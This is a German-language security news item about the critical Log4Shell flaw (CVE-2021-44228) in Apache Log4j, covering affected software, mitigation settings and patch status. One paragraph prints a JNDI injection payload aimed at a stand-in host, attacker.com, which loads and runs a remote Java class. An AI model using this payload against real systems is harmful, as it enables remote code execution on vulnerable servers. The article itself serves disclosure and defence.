In Apache Log4j, einem populĂ€ren Framework zur Protokollierung in Java-Anwendungen, wurde eine kritische SicherheitsanfĂ€lligkeit entdeckt, die es ermöglicht, beliebigen Code auszufĂŒhren, wenn ein speziell gestalteter Wert im Format â{jndi:URL}â in das Protokoll geschrieben wird. Angriffe können auf Java-Anwendungen durchgefĂŒhrt werden, die Werte aus externen Quellen in das Protokoll schreiben, zum Beispiel beim Ausgeben problematischer Werte in Fehlermeldungen.
Es wird festgestellt, dass fast alle Projekte betroffen sind, die Frameworks wie Apache Struts, Apache Solr, Apache Druid oder Apache Flink verwenden, einschlieĂlich Steam, Apple iCloud, sowie Clients und Server des Spiels Minecraft. Es wird erwartet, dass die AnfĂ€lligkeit zu einer Welle massiver Angriffe auf Unternehmensanwendungen fĂŒhren könnte, Ă€hnlich der Geschichte kritischer SicherheitsanfĂ€lligkeiten im Apache Struts Framework, das schĂ€tzungsweise in 65 % der Webanwendungen von Unternehmen der Fortune 100 eingesetzt wird. Es wurden bereits Versuche zur NetzwerkĂŒberwachung auf anfĂ€llige Systeme registriert.
Das Problem wird dadurch verschĂ€rft, dass bereits ein funktionierender Exploit veröffentlicht wurde, wĂ€hrend fĂŒr stabile Versionen bislang keine Patches bereitgestellt wurden. Der CVE-Identifikator wurde bisher nicht zugewiesen. Der Fix ist nur in der Testversion log4j-2.15.0-rc1 enthalten. Als vorĂŒbergehende Lösung zur Blockierung der SicherheitsanfĂ€lligkeit wird empfohlen, die Einstellung log4j2.formatMsgNoLookups auf true zu setzen.
Das Problem wurde durch die UnterstĂŒtzung von log4j fĂŒr die Verarbeitung spezieller Platzhalter â{}â in den in das Protokoll geschriebenen Zeichenfolgen verursacht, in denen JNDI (Java Naming and Directory Interface)-Anfragen ausgefĂŒhrt werden konnten. Da das Angriffsverfahren darin besteht, eine Zeichenfolge mit der Platzhalterersetzung â${jndi:ldap://attacker.com/a}â zu ĂŒbermitteln, wird log4j bei der Verarbeitung einen Server LDAP-Anfrage fĂŒr den Pfad zur Java-Klasse an attacker.com senden. Der zurĂŒckgegebene Server Angreifer-Pfad (zum Beispiel http://second-stage.attacker.com/Exploit.class) wird geladen und im Kontext des aktuellen Prozesses ausgefĂŒhrt, was es dem Angreifer ermöglicht, beliebigen Code mit den Rechten der aktuellen Anwendung auf dem System auszufĂŒhren.
ErgÀnzung 1: Der SicherheitsanfÀlligkeit wurde die Kennung CVE-2021-44228 zugewiesen.
ErgĂ€nzung 2: Es wurde ein Weg gefunden, den Schutz, der in der Veröffentlichung log4j-2.15.0-rc1 hinzugefĂŒgt wurde, zu umgehen. Ein neues Update log4j-2.15.0-rc2 mit umfassenderem Schutz vor der SicherheitsanfĂ€lligkeit wurde vorgeschlagen. Im Code wird eine Ănderung hervorgehoben, die sich auf das Fehlen eines Notfallschlusses bei der Verwendung eines ungĂŒltig formatierten JNDI-URLs bezieht.
Quelle: opennet.ru
